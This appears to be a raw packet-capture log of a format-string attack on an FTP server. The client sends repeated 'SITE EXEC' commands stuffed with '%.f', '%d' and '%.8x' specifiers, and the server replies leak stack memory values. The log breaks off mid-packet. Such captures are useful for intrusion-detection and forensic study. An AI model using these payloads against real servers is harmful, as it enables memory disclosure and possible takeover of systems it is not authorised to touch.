66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 25 64 25 64 7C 25 2E 38 78 7C 25 2E 38 78 27 29 %d%d|%.8x|%.8x') 0D 0A .. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.852373 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1F2 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41684 IpLen:20 DgmLen:484 DF ***AP*** Seq: 0x2A607A2 Ack: 0x2AE19D1 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785006 69269723 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 7C 25 2E 38 78 7C 25 2E 38 78 0D 0A %d%d|%.8x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.860727 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x14B 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37640 IpLen:20 DgmLen:317 DF ***AP*** Seq: 0x2AE19D1 Ack: 0x2A60952 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269724 114785006 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 2D 511761075233228- 31 30 37 33 37 35 31 31 37 36 2D 31 30 37 33 37 1073751176-10737 35 30 39 30 32 7C 62 66 66 66 64 63 38 65 7C 30 50902|bfffdc8e|0 30 30 30 30 30 30 30 0D 0A 0000000.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.890697 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41686 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A60952 Ack: 0x2AE1ADA Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785009 69269724 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.890785 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1F8 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37641 IpLen:20 DgmLen:490 DF ***AP*** Seq: 0x2AE1ADA Ack: 0x2A60952 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269727 114785009 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 25 64 25 64 25 64 25 64 7C 25 2E 38 78 7C 25 2E %d%d%d%d|%.8x|%. 38 78 27 29 0D 0A 8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.891191 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1F6 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41687 IpLen:20 DgmLen:488 DF ***AP*** Seq: 0x2A60952 Ack: 0x2AE1C90 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785009 69269727 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 7C 25 2E 38 78 7C 25 2E %d%d%d%d|%.8x|%. 38 78 0D 0A 8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.896419 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x157 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37642 IpLen:20 DgmLen:329 DF ***AP*** Seq: 0x2AE1C90 Ack: 0x2A60B06 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269728 114785009 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 2D 511761075233228- 31 30 37 33 37 35 31 31 37 36 2D 31 30 37 33 37 1073751176-10737 35 30 39 30 32 2D 31 30 37 33 37 35 30 38 39 38 50902-1073750898 30 7C 30 30 30 30 30 30 30 30 7C 30 30 30 30 30 0|00000000|00000 30 30 30 0D 0A 000.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.911377 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41689 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A60B06 Ack: 0x2AE1DA5 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785011 69269728 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.911509 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1FC 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37643 IpLen:20 DgmLen:494 DF ***AP*** Seq: 0x2AE1DA5 Ack: 0x2A60B06 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269729 114785011 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 7C 25 2E 38 %d%d%d%d%d%d|%.8 78 7C 25 2E 38 78 27 29 0D 0A x|%.8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.911931 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1FA 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41690 IpLen:20 DgmLen:492 DF ***AP*** Seq: 0x2A60B06 Ack: 0x2AE1F5F Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785011 69269729 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 7C 25 2E 38 %d%d%d%d%d%d|%.8 78 7C 25 2E 38 78 0D 0A x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.916891 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x159 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37644 IpLen:20 DgmLen:331 DF ***AP*** Seq: 0x2AE1F5F Ack: 0x2A60CBE Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269730 114785011 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 2D 511761075233228- 31 30 37 33 37 35 31 31 37 36 2D 31 30 37 33 37 1073751176-10737 35 30 39 30 32 2D 31 30 37 33 37 35 30 38 39 38 50902-1073750898 30 30 30 7C 37 32 37 33 37 35 32 66 7C 36 65 36 000|7273752f|6e6 39 36 32 32 66 0D 0A 9622f.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.931832 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41692 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A60CBE Ack: 0x2AE2076 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785013 69269730 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.931928 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x200 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37645 IpLen:20 DgmLen:498 DF ***AP*** Seq: 0x2AE2076 Ack: 0x2A60CBE Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269731 114785013 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 7C 25 2E 38 78 7C 25 2E 38 78 27 29 0D 0A |%.8x|%.8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.932532 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1FE 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41693 IpLen:20 DgmLen:496 DF ***AP*** Seq: 0x2A60CBE Ack: 0x2AE2234 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785013 69269731 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 